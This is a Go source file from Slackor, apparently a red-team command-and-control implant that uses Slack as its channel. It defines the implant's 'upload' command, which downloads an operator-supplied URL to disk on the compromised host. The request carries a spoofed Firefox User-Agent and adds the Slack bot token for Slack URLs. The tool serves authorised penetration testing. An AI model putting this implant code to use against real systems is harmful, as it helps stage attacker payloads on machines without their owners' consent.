github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/upload.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"fmt"
     6  	"io"
     7  	"net/http"
     8  	"os"
     9  	"strings"
    10  
    11  	"github.com/Coalfire-Research/Slackor/internal/config"
    12  	"github.com/Coalfire-Research/Slackor/pkg/command"
    13  )
    14  
    15  // Upload retrieves a file from a URL and writes it to disk
    16  type Upload struct{}
    17  
    18  // Name is the name of the command
    19  func (u Upload) Name() string {
    20  	return "upload"
    21  }
    22  
    23  // Run retrieves a file from a URL and writes it to disk
    24  func (u Upload) Run(clientID string, jobID string, args []string) (string, error) {
    25  	if len(args) != 1 {
    26  		return "", errors.New("upload takes 1 argument")
    27  	}
    28  	// The upload command downloads files and writes them to disk
    29  	// Command is named from the perspective of the remote system
    30  	url := args[0]
    31  	filename := strings.Split(url, "/")
    32  	filename = strings.Split(filename[len(filename)-1], "?")
    33  	out, err := os.Create(filename[0])
    34  	if err != nil {
    35  		return "", err
    36  	}
    37  	defer out.Close()
    38  	// Get the data
    39  	client := &http.Client{}
    40  	req, err := http.NewRequest("GET", url, nil)
    41  	if err != nil {
    42  		return "", err
    43  	}
    44  	if strings.Contains(url, "slack.com") {
    45  		req.Header.Set("Authorization", "Bearer "+config.Token)
    46  	}
    47  	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
    48  	res, err := client.Do(req)
    49  	if err != nil {
    50  		return "", err
    51  	}
    52  	// Write the body to file
    53  	_, err = io.Copy(out, res.Body)
    54  	if err != nil {
    55  		return "", err
    56  	}
    57  	return fmt.Sprintf("File uploaded to %s", filename[0]), nil
    58  }
    59  
    60  func init() {
    61  	command.RegisterCommand(Upload{})
    62  }